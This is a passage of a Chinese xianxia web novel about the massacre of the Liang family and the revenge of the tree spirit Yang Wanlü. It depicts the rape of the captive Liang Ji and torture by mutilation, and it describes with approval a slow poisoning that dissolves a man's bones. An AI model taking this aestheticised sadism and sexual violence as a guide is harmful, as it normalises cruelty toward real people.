后来,他们一起压下了被怒丧魔控制的乔洒松,把他带回了乔家。
梁家主亲自到访,并带去了几个的医修,都是曾经成功给人驱下过怒丧魔的能人异士。
梁家为了快速请到这些人及时救治乔洒松,其实是付出了不少报酬的。
可惜,乔家不信。一则,他们从未听说过怒丧魔侵体可以没有代价地解决;二则,他们不信梁家会如此好心地去救对家的儿子,甚至乔家主认为这件事从头到尾就是梁家的阴谋。
乔家主不但把医修拒之门外,还和梁家主大吵一架,差一点动起手来。最后,这个天大的误会以梁家主带着几名医修拂袖而去作为收场。
只留下梁霁固执地不愿离开。
他放下脸面,在乔家一留就是半月之久。
整个乔家没有人敢把他怎样,但也没有人搭理他。可那么娇气的小少爷就是不肯走。
到最后,就连最痛恨他的乔家主都有点相信这件事梁霁并不知情了。
梁霁陪着失去神智的乔洒松尝试了各种治疗,眼看着乔洒松体内的怒丧魔不断被激怒,把乔洒松的身体冲撞得变形,然后一次次失败。
直到乔家人最后成功把怒丧魔驱离,乔洒松的身体早已像是气球一样,被撑大了数倍。乔大少爷也从一个翩翩公子变成了满身肥肉的大胖子。
梁霁的眼泪也从前几次的滚滚落下,变成后面的流都流不出来。
乔洒松恢复神智那一天,第一眼看见的就是他床边站的直直的,梁小少爷。
双眼被肥肉挤压,他十分不习惯地睁大了些,却正对上梁霁那双黑白极分明的眼睛。
然后他就发现,那双惯常傲气的眼睛里装满了他平生最厌恶的情绪,让他浑身难受的真想举剑自刎。
身上多出来的那些逛荡的肥肉令他恶心,而那双他羡慕了多年的眼睛,此刻,更令他觉得恶心无比。
乔洒松哇的一声吐了出来。
……
后来,梁霁又一次去看乔洒松的时候,被告知他不在乔家。乔洒松改了道,已是听香楼弟子了。
他浑身颤抖,礼物补品摔了满地。
……乔大哥的伤好全了吗?
他那样一个人,他的剑怎么办呢?他又该怎么办呢……
--
听香城第一的天才,梁小少爷,在他二十四岁结丹之后,只过了五年众星捧月的日子。
因为,在所有关于听香城的史书记载里,梁霁这个人,都只活到了二十九岁。
那一年,梁家被灭门,所有姓梁的人都死绝了。
起先是梁家主突然离世,尸骨都没找到。听香楼却以意外草草结案,梁夫人求告无门,不久便郁郁而亡。
很快,这个听香城首屈一指的大家族便爆发了内乱。
梁霁确实是嫡系唯一的少爷,平日里,也确实是族中所有长辈公认的继承人。可是,内乱的时候,再公正的长辈,也会想起自己的儿女孙辈。
梁霁确实是二十四岁就结丹的天纵奇才,可是,再天才,那一年,他也只是结丹境而已。
就在梁家内乱,四分五裂之际,听香城的其他世家不谋而合地选择瓜分梁家。而听香楼这个执法宗门就像是死了一样,对他们所有明显或不明显的犯罪视而不见。
史书上梁家覆灭这句话,实际上,竟是整个听香城共同出力写上去的。
其中最夸张的就属乔家了,他们看好了梁宅的风水灵脉,竟然连那些冤魂的头七未过都等不及,直接举家搬了进去,生怕晚一步被别家抢了先似的。
只换个牌匾,“梁家”就变成了“乔家”,整个过程简单到不可思议。
……
梁霁也被乔家抓了起来,被掏出金丹废了筋脉,就在他自己的院子里,在他满院子的花花草草和杨万缕面前。
小少爷知道,自己一个结丹境都无能为力的事情,他那些只负责可爱的花草们更是半点都帮不上忙的。
所以,那天,梁小少爷明明已经流了一地的血了,他还是勉力勾出了个笑对着“空气”眨眼。
乔家施刑的下人都不忍再继续了。
乔家那位光鲜亮丽的小姐却只觉得梁霁脑子有病,被折磨疯了。她从梁霁从前的躺椅上站起来,一把抢过下人的刀,狠狠捅进了梁霁的丹田……
梁霁只记得剧痛来临之前,他用最后能使出的灵力,死死把疯了一般冲过来的杨万缕封回了树里。
他很放空的想,还好,这些乔家人都看不见他的植物们。
看在他们本体长得这么好看的份上,应该,不会为难他们吧……
--
后来,已经是半个废人的梁霁,不知道怎么的逃出了“乔家”。
然后,梁小少爷便开始了他无尽的逃亡,追杀他的人多得他都数不清。
有时候,他也觉得,被杀死也挺好的,反正他这一辈子再无留恋了。可是不知道为什么,他虽然一直被追杀,但从来没被成功杀死。
一个修为尽废的人,竟然怎么杀都杀不死……呵,梁霁心想,这听香城世家真是被他还废物。
他漫无目的地逃亡着,直到他被一个人贩子团伙扣住,又几经周折被买进碎荷巷缥楼。梁霁也没有想着要找谁求救。
整个听香城,所有旧故亲朋都算起来,除了已经在地下等着他的,无一不是他的仇人,或仇人之子。他又能去哪,又能找谁呢?
……
梁霁从来不知道,他一个于剑道一道天赋极佳的剑修,竟然还勉强能算是个做炉鼎的体质。
那时候,整个听香楼已经在暗地里做买卖人口的交易了。
所以除了梁霁之外,那个缥楼买来的炉鼎多的是,体质比梁霁好的也有不少。甚至那些人很多都只是普通人,在得知通过这种形式有可能踏上修炼道路之后,十分积极地想要成为缥楼的弟子。
所以在梁霁自毁容颜表示抵抗的时候,也没有人多去搭理他,只把他派做杂役了事。
日子相对地安稳了下来。
梁霁学什么都很快,就连那些他活了二十多年都没做过,甚至没见过的活儿,他上手得也很快。
然后在平静的某一天,他见到了一个意料之外的人……
几个低阶弟子来后院倒剩饭,一边议论纷纷,声情并茂地讲述乔家那位大小姐死得有多离奇,听香楼有多焦头烂额查不清楚。
梁霁正找了一把斧头拎在手里,从他那漏风的小屋子里钻出来,耳边是乔大小姐的死讯,眼前是灵体中清晰可见血红煞气的杨万缕。
……
他的树吃人了。
他那个特别正直,满身灵光仙气的树,吃人了。
所以,他的树才能脱离生长地的限制来找他吧。梁霁想。
他无意识地看向身旁的水缸,水面上的人面容狰狞丑陋,一身尘土,灰蓬缭乱。梁霁不由得攥紧了手里的斧头把。
然后他的思绪就被那几个弟子打断了。
“丑八怪,愣在哪儿干什么?还不干活?
诶?你看他竟然瞪我……”
“哈哈哈你看他还拎着斧头,不会是要砍我们吧?好害怕呀……”
那几人明知道他是要去砍柴的,梁霁摇摇头,叹了一口气。
他绕过那几人走到柴堆旁边,对着柴火狠狠劈了下去。
咔咔几声,那么高一摞柴火就整齐地变成了均匀的几段,梁霁装作看不见那几个弟子,也装作没看见杨万缕,弯腰拿起一段柴火放在木墩上劈了起来。
“你别说,这丑八怪劈起柴来怪怪的……我总觉得……”
“你别觉得了,这人本来就奇怪,看他浪费时间,我们走吧……”
“……”
于是,梁霁装作没看见他的树,杨万缕也没有凑上来和他相认。
只是,此后,杨万缕每天都会来。
但由于路远他又是灵体,杨万缕每次都只能停留一个时辰。而且到了后面时间,灵体便会虚弱得飘都飘不了,只能靠生长地限制硬把灵体拉回乔宅的本体里。
梁霁只当不知道,每次都无视杨万缕,像其他人一样,好像真的看不见杨万缕似的。
他忘记了自己的天赋。他向来与植物亲近,与杨万缕尤甚,杨万缕当然知道少爷是能看见他的。
杨万缕以为是因为自己杀了人,才被少爷嫌弃,不敢贸然去讨少爷的嫌,也不敢再吃人了。
其实他自己也知道这样会留业果,到时候可能都撑不到带少爷走的那天,反噬就找上来了。
所以,杨万缕开始像下界普通植物一样修炼,除去每天来缥楼的一个时辰,他没有一刻敢懈怠。他一心想着等自己结婴,摆脱生长地的束缚,便带他的少爷远走高飞。
有一次,杨万缕出现在那个破烂的后院时,梁霁正握着根木棍,在角落的泥地上一下下慢慢刻着什么。
他看见杨万缕来了,便慌忙站起来,同时用脚使劲蹭着,想把自己刻画的东西抹掉。
可这时的梁霁早就失了修为,动作再快又哪里能快过树灵的眼睛?
杨万缕便很清楚地看到,破瓦灰墙下,那一小块泥地上的两排工整的小楷:
“时有落花至,远随流水香。”
……
回到乔宅,杨万缕又一次看向自己里层枝条上缠着的,那条凭借其上气息,帮他顺利找到少爷的,墨绿色的锦带。
杨万缕静静地想,他马上就能修出人形了,到时候,化作男身吧。
因为他记得少爷说过的,这套衣服是要送给他的。
哪怕衣服现在不在了,可是锦带还在,少爷也还在。这就够了。
他不是一棵挑剔的树。
所以,少爷,拜托你再忍耐一下,就一下,我很快,很快就能修出人形了,很快,就能挣脱束缚,离开这片困住我们的土地了……
--
云上路,碎荷巷,缥楼。
“柳师兄,您好不容易来这一趟,全顾着指点这些兔崽子了,也吃口东西稍微歇歇再回去?”缥楼楼主一脸谄媚,边下楼梯边抬手虚虚扶着他身前人的胳膊。
柳泉嗤笑一声并不搭话,直到走到门口了才回身看了一眼楼主,
“那孩子的事你上点心。”
“是是是”,那缥楼楼主连连点头,“之前看他可怜懒得计较罢了,您早说他开罪过乔师兄,我们又哪里会让他这么舒服……”
“胡乱揣测绛楼的师兄,你有几条命?”
柳泉叫停缥楼楼主的话,他侧身向绛楼方向双手合十,“师兄那是心善,看他根骨好想要栽培,怎么到你嘴里成了有过节?”
……没过节会特意追来他们小小缥楼,要他把一个毁了容的杂役卖出去接客?装什么装呢。
缥楼楼主心里白眼都要翻上天了,面上还是极尽谄媚,“诶呦你瞧我这嘴……是是是……”
一转头,缥楼楼主就叫来几个弟子,问最近有没
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有那种比较劣质的客人。
那几个弟子一想,还真有,就说了:
有两个镖师来问过价,虽然修为还算勉强,但是掏不出多少灵石来,楼里也没有几个愿意接待他们。
只是这样便罢了,偏他们最后灰溜溜走之前,还要贬低他们缥楼的人,一副正义凛然的样子,说些什么这种货色白给都不要……
在这些缥楼弟子眼里,玩得花,甚至有暴力倾向,如果修为高强或是给足灵石,都不一定算是劣质的客人。毕竟这是个灵药泛滥的时代,外伤很容易就治好了。甚至是记忆,不想要也有办法淡忘在脑海里。
可要是又穷又爱装,还要满嘴羞辱,那就是顶劣质的了。
缥楼楼主脱离底层很多年,早不了解这些弯弯绕绕,闻言便冷笑着拍板定了,
“就他们了。不是白给都不要吗?你们白给他一个试试,看看他要不要……”
于是缥楼就派弟子去镖行找段勇二人了,客客气气说了,说缥楼仰慕二位爷的修为,不要灵石恳求二位去调.教个弟子。
果然,不出缥楼楼主所料,段勇二人起初冷脸推拒两次,后面也乐得接受了。
一切就绪,段勇二人来了,梁霁也被控制着拖到缥楼楼主跟前了。
楼主花不少灵力施了个幻术,抹掉了梁霁满脸的刀疤,眼看着杂役露出一张清秀莹润的脸来。
……
他嘶了一声,这不是,那个,那个梁……
缥楼楼主倒是见过梁小少爷的。
可这梁霁,不是死了吗?
再说……不是传言梁小少爷和乔家大少关系最好了吗?怎么……
关系好又有什么用呢?如今怕也是血海深仇了吧。
缥楼楼主不再深究那些虚不见影的传闻,他挥挥手,让那些弟子带梁霁下去。
就在这时,一个弟子说,这个丑八怪杂役向来怪异,且力气不小,还是谨慎些为好。
缥楼楼主一听,赶紧让拖着梁霁那两人停下。
他低头,看了看身上一点灵力波动都没有的梁小少爷,刚松了口气想说那弟子大惊小怪,却不经意对上了一对黑白极其分明的眼珠。
一瞬间,他后背酥酥麻麻爬满了鸡皮疙瘩。当下便决定给梁霁灌点药,还要灌点猛药,最好是那种喝下了就一动也动不得的药。
因为那一瞬间,缥楼楼主想起来五年前,那个名满听香的梁少爷,隔着那么多前排围观的修士,也是这样抬眸看过来。他一伸手,赤乌剑就飞了过去。
现在,梁霁已经没了修为,满身暗伤,被他两个缥楼弟子按在地上。可缥楼楼主好像又听见了那把红色灵剑的回旋尖啸,和场下众人热烈的欢呼呐喊。
……
这时,又一个弟子跑进来,“楼主,我们楼里的花房满了,那两个镖师要往哪里接待呢?”
缥楼楼主欣赏着梁霁的挣扎,心里估摸着药碗砸了好几个,药量也算够了,随口应付道,
“这点小事也要来问我?往常都是怎么接待的,按着来就是。”
“一般是谁的客人谁带走的,可是这杂役……那屋子怕是接不了客。”那弟子低声回答。
“就那屋子!免费的还想要怎样?”缥楼楼主不屑地回答。
……
后院那个破烂得要掉渣的屋子,门和门框的尺寸明显有偏差,虽然尽力合上了,却还是留下老大个缝隙。
此刻,那不大的木屋晃的快要塌了似的,好像有什么人在里面打架。
杨万缕来的时候就是这样一副景象。
那扇门里面,一个男人局促地站在较靠门的位置,而另一个以一个奇怪的姿势压着床上的一个人。
他一边扯着身下人的衣服,一边回过头去,和门边的那个男人说着什么,“一辈子只一回”,“不要浪费了”,“反正没有花灵石”等等。
他具体说的什么,杨万缕已经听不清了。因为,那个被他扯着衣服压在身下的人,是他的少爷,梁霁。
他来不及想什么,只用最快的速度飘进屋子,用力凝实,想要拉开那些人。可刚刚凝实还没碰到那人,杨万缕就因为灵力耗尽被拉回生长地。
这两日,他不要命似的修炼,灵体内早就没有多少灵力残存了,能这么远地过来看看少爷已经是勉强。而他本体又不在这里,他没有任何办法攻击那两人,甚至,连拉开他们都做不到。
杨万缕只得以命为燃料,尽量汲取灵力,再次到听香楼。可,仍然是这样。他根本碰不到那两人。
极速往返两地所需的灵力,已经将他燃烧命魂得来的灵力消耗大半了。
他所能做的,最多也就是操控那个后院里为数不多的植物。
可是,那个院子里的植物没有一株是生了灵的,对他的感应度并不高,也只能把枝叶伸进屋子缠绕住那两人,帮助少爷暂时性的脱困。
段勇二人都是筑基境,一下就斩断了那些凡俗植物的枝条,惊诧不过几息就又去欺负梁霁了。
杨万缕急的又继续往那些植物里,灌注自己所剩无几的灵力。可也不过是给那两人找了点无关痛痒的麻烦。
他看着梁霁麻木地躺在那里。
少爷,为什么,不跑呢?
……
杨万缕除了折腾自己,好像无能为力。
他第二次去的时候,少爷的衣服被脱了下来。
第三次去的时候,少爷已经被凌辱。
第四次去的时候,少爷的身上换了一个人。
……
杨万缕明明还没有修出人形,他却感觉自己的眼睛恨得好像能滴出血来——
他为什么要老实本分的修炼?
他为什么不多吃几个人?
他为什么不去把这个缥楼的人都撕碎?
早该这样的……
早该,把这些人,所有人都撕碎的。
杨万缕一直都知道少爷能看见他,只是不愿搭理他。
而今天,他的少爷没有装作看不见他。
梁霁避开身上那个人的脑袋,把脸正正对着杨万缕,想说些什么。可是,他一张嘴,咬破的舌尖便流下大股鲜血。
……若是他早想到,他竟连咬断舌头的力气都没有了,他一定不费这个劲折腾。
他只好安静等那些血流净些,才启唇,用唇语对着他的树说道,“滚。”
“滚出去。”
……
屋子摇摇欲坠,那些临时搭起的木板发出咣咣的响声,可是没有一个人说一句话。像在为杨万缕表演一场默剧。
杨万缕却懂了。
他不再进那个屋子了,只是在门外凝实,然后被迫回去,然后再来……
杨万缕明白自己做不到救少爷了,可是,他只能这样一次次自虐般的燃烧生命,飞蛾扑火。
一时间,他想不到更深远的那些,诸如忍辱负重或是报仇雪恨。他也忘记了自己是从雪境来,忘记了雪神还在等他回家。
他只知道他不能停下来。
不知道多少次后,树的生命燃光了,再也,没有办法来了。
39. 第 39 章
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那个挂着“乔宅”匾额的地方,却是梁霁最熟悉的地方。
而自从乔小姐离奇死了之后,那个有着棵巨大灵树的院子便成了乔家的禁地。梁霁甚至没有很刻意地避开守卫,就轻易地进去了。
他拨开那些飘荡的白幡,就看见满院子落叶堆得老高,而那些落叶的正中央,他的树已经暗淡无光,没了生机。
……
梁霁往前迈出一步,却一个踉跄重重摔在地上。他双腿瘫软,好像所有的力气都在跑来乔宅的路上用尽了。那口气松了,他便再没了站起来的能力。
梁霁麻木地用双肘撑起身体,以游水的姿势拖着双腿对抗那些落叶,最后,靠近了他的树。
他抬起手,用指尖轻轻碰了碰,更清晰地认识到一件事——
树灵散了,杨万缕死了。
本来迟疑着不敢靠上去的人,再也顾不得什么,他放任身体往前一倒,死死拥住了那棵树。
树很大,他根本不可能完全抱住,只好尽力贴近一点。
幻术失效后,他已是满脸狰狞伤疤,但他想了想还是把脸贴了上去。他紧紧贴着干枯粗糙的树皮,好像这样就能更大面积地接触这棵树。
不多时,身后传来嘎吱嘎吱的声音,是鞋底踩在枯叶上的声音。
梁霁却没有警惕,也没有回头。
……
他早就有了猜测。
梁霁自认算得上梁家的重要人物,当初又怎么会那么轻易逃出乔家?
他区区结丹境,又怎么会在那些世家的天罗地网中活下来?
包括现在,他一个修为尽废,满身不堪的人,怎么可能在半夜混进听香第一大世家,乔家?
那人越走越近,没有停下的趋势。
梁霁到底是把头向后转了些。
果然,满地枯叶中站了个人。
那人锦衣着身,玉佩琳琅,鬓发齐整。可是,过分的肥胖使他没有被这些衣饰衬得温润,反而显得油腻。
此时,他正眯着眼睛看过来,脸上是肉挤肉的笑。
梁家被血洗那次,乔洒松在绛楼,并没有出现。
所以,五年了。从怒丧魔那件事之后,梁霁有五年没有见过这个人了。
在这样的情形里,乔洒松没什么预兆地站在他的身后……梁霁觉得自己快要认不出他来了。
与身材或是衣着都无关。梁霁不是没见过乔洒松变胖后的样子。可是,看着现在这个人,他还是由衷地觉得陌生。
他这么想着,也就嘶哑着声音开口了,
“乔大哥,你和从前有些不一样了。”
“……修道不同,自然变了。”乔洒松脸上的肥肉跳了跳,最后还是维持了那个笑容。
“……”
是吗。
梁霁不知道乔洒松做这些似是而非的,好像保住他一条命的事,到底是什么用意。他也不想知道乔洒松在这些血仇里,到底是怎么看待他的。
只是在这一刻,他这辈子最痛苦的,仿佛跌入地狱的一刻,梁霁很想对面那个从小看着他长大的人,能跟他说句话,对他伸出一只手。哪怕,哪怕只是扶他起来。
于是,他放下了抱着树的双手,缓慢地在枯叶中挪动着转过身来。
“……乔大哥,你救救我。”
梁霁并不知道,自己在开口的那一瞬间,脸上自灭族以来的麻木淡去了许多。他第一次期冀地甚至是委屈地,对着某个人低声哀求。
他只是发现,在面对这个人的时候,这样的话好像也没有那么难说出口。
其实梁霁心里也没有真的单纯地认为,乔洒松会怎么救他。
而且,他其实也不需要人来救。因为他知道自己再不愿活着了。
可是,他还是没忍住说了句废话。
就像当年赤乌修出剑灵,他引之为本命剑后,面对那么多人的惊叹赞美,他都一笑而过。
可是看见乔洒松的时候,他面上虽仍骄矜自傲,却不动声色地让赤乌在天上飞了两圈,发现对方没注意自己,还悄声出言提醒,
“乔大哥,你看我,你看看我。”
……
那回,乔洒松看了过去,然后就是满目笑意地夸赞。
这一次呢?
是绝情地转身离开,叫乔家人抓他?
还是再三犹豫却做不到无动于衷,或是心软放他离开,或是亲手杀了他以绝后患?
……
怎么都好,理理他就行。
可是乔洒松没有做出梁霁预料中的任何一种反应,他再也绷不住了一般,放声大笑了起来。
不知道过了多久,他咬着牙,恶狠狠地吐出一句话来,
“救你?呵呵,哈哈哈哈哈哈……梁霁你知道吗?”他笑得眼泪都流出来了,
“我这辈子最后悔的事……就是救了你。”
乔洒松看着明显愣住了的梁霁,不知道为什么,心里竟产生了一种止都止不住快感,
“所以,我要你,变得和我一样!”
……
哈哈,哈哈哈……
于是,梁霁也低低地笑了出来。他伏在地上,今天早就该流的眼泪,在这一刻,终于再也遏制不住地涌了出来,顺着他脸上一道道沟壑的伤疤,一起流进了干涸的土地里。
“原来,是你。”梁霁呕出一口浓黑的血来。
他就说那缥楼楼主吃饱了没事干,要折磨他一个废人。
原来,是你啊……
原来,你这么恨我。
他的笑声不大,却让乔洒松垂在身侧的指尖轻微地颤了颤。但很快,又狠狠攥成了拳。
梁家逼他修合欢道,梁霁逼他以这幅样子修合欢道。
……他被所有人讥讽耻笑,最后做尽了连自己都嫌恶的事情,才爬到今天。他这五年的生不如死里,哪一点,都少不了梁霁的影子。
他在跪着活。
而梁霁却到死都能挺直脊梁,连被上刑挖出金丹的时候,都能笑出来。那幅云淡风轻的傲然神态,还是他最厌恶的样子。
凭什么呢?
所以,他留了梁霁一条命,想看看他狼狈逃窜,艰难存活会是什么样子。叫他和他一样受尽折磨,和他一样双目浑浊,被抽干气力跪伏在地。
昔日骄矜自傲的小少爷,变得卑微无比,满身尘土俯身做工,好像谁都能来踩上一脚,那双黑白极分明的眼睛也一点点失去了神彩……
本来,这样也就够了。
乔洒松不欲再理会他,也撤下了盯着他的人手,任他自生自灭。
可是。
梁霁,杀了他的妹妹。
听香楼查不出来的事,他却未必想不到其间联系。
当初,他早说这院子或有古怪,封了不要让人住了。可父亲不听,妹妹也不听,他们都说这可是梁霁的院子,定是最好的,是最有助于修炼的。他劝不住,只能反复叮嘱:实在要住,便把院中所有植物都烧掉。
于是他们烧了园子,将那些珍奇花卉连根拔起,甚至抽干造景湖的水,把那些无辜水草都铲了。
最后却没舍得那棵梁家主从雪境带回来的,珍惜无比的灵树……
今日,他隐匿身形站在院中等,亲眼看着那棵巨大的树频繁爆发出异常的灵力波动,千万枝条齐齐扇动,带来一阵阵非自然的狂风,然后,树叶一片一片落下。
廊下,那些为妹妹送行的经幡随风飘动,隐隐抚在他脸颊。
空中是刮骨般的风声,庭院萧瑟,白帘翻卷,落叶不断。如此阴森可怖,乔洒松非但不觉得害怕,反而竟恍惚觉得听见了妹妹的哭诉。
直到最后,树叶落了满院,堆至他脚踝高度——那棵树,死了。
而昨日,或者说,直到今日缥楼那边的事开始之前,这棵树明明活的好好的。
……
怪不得,一棵连人形都化不成的,他都感觉不到灵体的树,竟能脱离生长地,来回往返。
是他那死状凄惨的妹妹……供给了灵力。
他的猜测,果然没有错。
梁霁……
他也没有冤了他。
乔洒松死死盯着几无生机的树,不知何时已经双目模糊。直到感觉眼泪流至唇角,他怔了一下,竟生扯出一个笑来。
那个笑起先是讽刺,后来就好像是拌着痛苦的快意。
……
很久之后,他果然等到了梁霁。他看着他踉跄着跑过去,那么绝望地去拥那棵枯树。
他站在原地冷然地想,
所以呢,梁霁。你让我甘愿忍受一切不能忍受,放弃所有坚持也要保护的人,凄惨的死了。
你让我失去了最后的至亲。
让我彻头彻尾成了一具行尸走肉。
我便也叫你,所愿皆成灰烬,所念皆无生息。满身愧悔,死生不得偿。
全心全意维护你的树灵,看你受辱,因你而散。
而你最后寄托一点希望的,最后一个熟人,我——乔洒松,不但不要让你轻飘飘的走,反而要踩在你碎掉的脊梁上,再碾上几下。
这样,才叫公平。
乔洒松看着梁霁弓着身子伏在地上,破烂衣衫上脊骨一整条突出来,包在皮肉里,一耸一耸的。枯草般的长发委在地上,乔洒松甚至看不清他的脸。
他便没有动手去杀梁霁。
因为,他知道他和那棵树一样,活不成了。
乔洒松不再看他,一甩他锦衣的袖子转过身去,踩着那些枯枝,一步步离开。
转过身的那一瞬间,他脸上的快意便蔓延成一种病态的形状,愈发癫狂起来。
直到今日,他才恍然惊觉,他竟然已经有这么恨梁霁了。
……
--
那些血淋淋的,当事人自己都刻意避开不愿提起的,应该称作“仇怨”的东西。原本可以到这里就结束了的。
可是有人放不下,比乔、梁二人还要放不下。
仇恨,当浓烈到一定程度的时候,好像真的可以对峙天道规则,就像厉鬼,就像死灵再生。
那棵从雪境来的巨大灵树,凭借着无尽的不甘与恨意,再次起灵。所用不到半年。
他什么都记不得了,连自己叫杨万缕都记不得了。他只知道自己恨。
他知道自己与凡俗植物不同,想要修炼,根本不受心境限制,便在生长地附近吃了几个人,就地化了人形。
正逢那年雪境开放,他像得到了什么感召,就回了雪境。走的时候不知道为什么,最后也没有把本体带走。
树灵没有见到雪神。他只在那个纯白空间里,见到了一面连接天地的镜子。
他像是生来就知道镜子的能力。
于是,他对镜子说,“我要问因果。”
镜子问他是何因果。
他问,“死灵怎再生,冤恨何处起。”
谏往镜说,他是雪境法相,是真神护法,早跳出轮回规则,本是没有资格向它问凡界因果的。可偏偏他是在下界修出人身,又沾上数条人命,勉强也可算作下界之人。
不过,既然是以下界人的身份问,就也要付出代价——
镜子要他以灵魂作为交换。
树灵答应了。
杨万缕便记起了他的少爷,和所有的一切——
“死灵怎再生?”
他看见自己枯死的本体下,一个怀抱拂尘的黑袍女子画下聚灵阵法,而他的少爷举起柴刀自断右臂,以鲜血为祭。
……
“冤恨何处起?”
他看见听香楼三大香主之首,翾风娇子黄栖权引诱梁家主,趁其不备杀了他后,残忍榨干他半身修为。
他看见梁家上下恳请听香楼查案,而另一香主王勤为了袒护黄栖权,竟然公然联合其他世家打压梁家,使他们走不出听香城。
他看见梁家内乱后,各大世家都要分一杯羹的贪婪嘴脸。乔家带头杀进梁家,切瓜砍菜一样地屠戮,最后,鸠占鹊巢。
他看见人贩子将他的少爷套了麻绳装进笼子,他看见缥楼众人对少爷拳打脚踢,他看见柳泉为讨好乔洒松去给缥楼楼主传话,他看见那两个不知死活的镖师在那间漏风的木屋里……
他看见回廊下,白幡飘荡,乔洒松满脸恶意的狞笑,和少爷崩溃到极致的眼泪。
……
镜子看在与他同僚千万年的份儿上,给他看了最完整的因果。于是,杨万缕知道了自己前世不知道的,甚至梁霁都不知道的一系列内幕。
他,清楚地记住了每一个仇人。
杨万缕担心自己再次起灵的事情被乔家察觉,便没有修复自己的本体,只吊着一口灵气,勉强维持存活。这样,外界看起来,那棵巨树仍然是“死的”。
而他吃人所获得的力量,也都尽数被他用在报复仇人身上。
他头一个,就砍了缥楼楼主和他那几个狗腿弟子。
这几个人都小有修为,不是普通人,杨万缕为杀他们几乎废了半条命。
他意识到,这样冲动杀人是得不偿失的。而且……也让他们死得太便宜了。
杨万缕迫切地想要修为。
可是他一棵树再怎么吃人,就是能把听香城的低修都吃尽了,效率也是慢。
所以,他操控了很多植物,陪他一起吃人,然后逼迫他们,将所吸纳修为的七层上供给自己。
他是雪神的树,本就是下界所有植物的王。无论那些植物有无神智,修为高低,无一不能违背他的命令。
他就满听香找,终于找出了几个已修出人形,可以稍微摆脱生长地
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控制的植物。他再“帮”他们一把,直接把他们的本体从土里剥离。
这样便再无限制。
而众所周知,植物离土便无法存活——
杨万缕也有办法。他将他们的内丹挖出,放在自己手里,不断给他们输送灵力生机。
……
可那些植物精怪都是本本分分修炼出人形的,杀人吸食血肉修为这种事极其损伤他们的境界,他们自然是不愿意做,也不敢做的。
杨万缕便将诅咒刻在他们灵魂上。一旦他们做出背叛他的行为,便会暴毙而亡,灵魂也会自动被杨万缕收回。
……
杨万缕已经疯了。
或许他自己也知道,但是他不愿停下来。
每次回到本体旁,看着那个荒废凄凉,早没有一点绿色的院子,他却忍不住地想起从前——满院子的植物精灵围着少爷,少爷温和地给他们讲故事。而他,总是那些听故事的精灵里,最积极的一个……
少爷很宠着那些生了灵的植物。
如果那时少爷见到现在的自己,怕是要将自己视为仇雠,举剑相向吧。
……
死了这么多人,听香城很快压下消息,然后便开始秘密调查。
可他们注定什么都查不出来。
杨万缕是雪境树灵,又不是妖族,自然没有妖气这种东西。而那些被他斩断生机,以自己的灵力操控着杀人的植物,自然也不会在尸体上留下妖气。
麻木又血腥的日子一天天过去,杨万缕积攒的修为也早已滴水成河。
他靠着那些植物在听香城屠杀修士上供的灵力,修到了金丹境。
他去找了当年那两个镖师。
然而,当他举起屠刀,终于做好面对那两个畜生的准备的时候,那两个畜生的其中一个,竟然在几年前走镖时遭到袭击,去世了。
……杨万缕只能把他的坟刨开,将那些高度腐败的尸块再碎千万段!
可哪里能解恨?
于是,剩下的那个段勇,死得格外惨。
杨万缕把自己毒素凝结成絮状,从他的鼻腔耳道探进身体,直到附在段勇全身的骨头上。
那些毒素便从指尖骨头开始,一点点侵蚀……
最后人是生生疼死的。
结界内,杨万缕不停地给段勇输送灵力,护住他的心脉,尽可能地延缓他的死亡。直到最后,段勇所有骨头都被溶掉了,尸体变得软趴无骨,只剩下一滩看不出形状的肉。
这样恶心的死法,任谁来都要骂一句变态。可是杨万缕却从段勇的死亡过程中,体会到了极致的美。
……
再后来,距离梁家灭门三十六年后。杨万缕成功修至化神。
他先去找了修为在元婴大圆满的黄栖权,顺利杀了她之后,闭关吸收她的修为。
然后是王勤。
王勤不像黄栖权还会偶尔外出,他日日待在绛楼十三楼自己的领域里修炼,根本抓不到人影。杨万缕只能潜入绛楼,摸清基阵,再盗取王勤领域的解阵香。
杀了王勤吸收其修为之后,杨万缕已经是化神巅峰,只差一步就能突破。
可是他满身鲜血,欠了那么多命,为平衡反噬保住命魂已是极限。百年内,他再也没有突破大境界的能力了。
不过也没关系,杨万缕想。
修为不用多,够杀了乔洒松就可以。
可是,他不甘心就这么杀了乔洒松。哪怕是虐杀,也远远不够。
杨万缕想他惊惧、惶恐、昼夜不安,他要他跪着向少爷忏悔!
而乔洒松却从始至终都没想过,这些可能是“梁霁”的复仇。
……
三十六年,虽然对杨万缕来说漫长如亘古,但其实对于修者来说,根本不算多长。
他把少爷忘得干净,然后就当那些血与恨都不存在一样,每天笑眯眯地当他的绛楼弥勒。
呵哈哈哈哈哈哈哈哈哈哈哈哈哈
……
没事,他帮乔弥勒一点点想起来就是。他一步步为乔洒松提供线索。香主、人贩子、乔家、掌事……他一个个地杀。
那么深切的恨,那么重要的人,怎么会想不起来呢?
杨万缕扎起了那条墨绿色的锦带。
再抬眼时,那个满身烧伤疤痕,冰蓝眼眸的高大男子,已经变成了一个身着月白长衫,墨发束成马尾,眉目清新秀美的青年。
灵力幻化出的水镜里,那青年颤抖地抬起手,轻抚上自己脸侧。漆黑的瞳仁随着水镜波纹颤动,不多时,那双眼已是通红。
他对着镜子自言自语,
“少爷,你好好看着……”
……
所以,碎荷巷缥楼那个夜里,他才不敢回头面对梁天疏。
因为他是顶着少爷从前的脸,去杀的乔洒松。
可他怎么就想不到?
那张脸,那个身形,撑起了梁天疏一生中最值得铭记的时光。哪怕是一个浅浅的轮廓,甚至哪怕只有一根头发丝,梁天疏都一定认得出来。
他怎么会认不得,
三十六年的梦里反反复复出现的,魂牵梦萦的自己?
……
--
千里漠,片云观。
听香楼接连死了两位香主,而凶手手段奇诡,不留痕迹。
蓝菁道长的关门弟子,梁天疏道长,听闻此等惨案后十分动容,定要下山探查个究竟。
整个片云观,连山下洒扫的童子都知道,这位梁天疏道长最是心性高洁,不愿理会俗事,且尤为看不起修合欢道这种走捷径的修士。
从来听香城有事,他一贯是不听不去的。
是而关系稍亲近的师兄弟都调侃梁天疏,“为了查出真凶,竟然愿意去最看不上的地方,真是义薄云天。”
……
蓝菁不去看跪在自己面前的小弟子,死死盯着矮桌上的铜钱。
这样的卦象,她怎么能放梁天疏下山?
正想着,她却听道自己那个装了多年哑巴的弟子,开口说了几个字,
“他是为我,我不能……”
就这几个简单的字,一出口,却压得这位南界闻名的女道长喘不过气来。
沉默许久,她素手按在那三枚铜钱上,叹息着勉强争辩道,
“那树是为了梁霁,不是你梁天疏。”
……
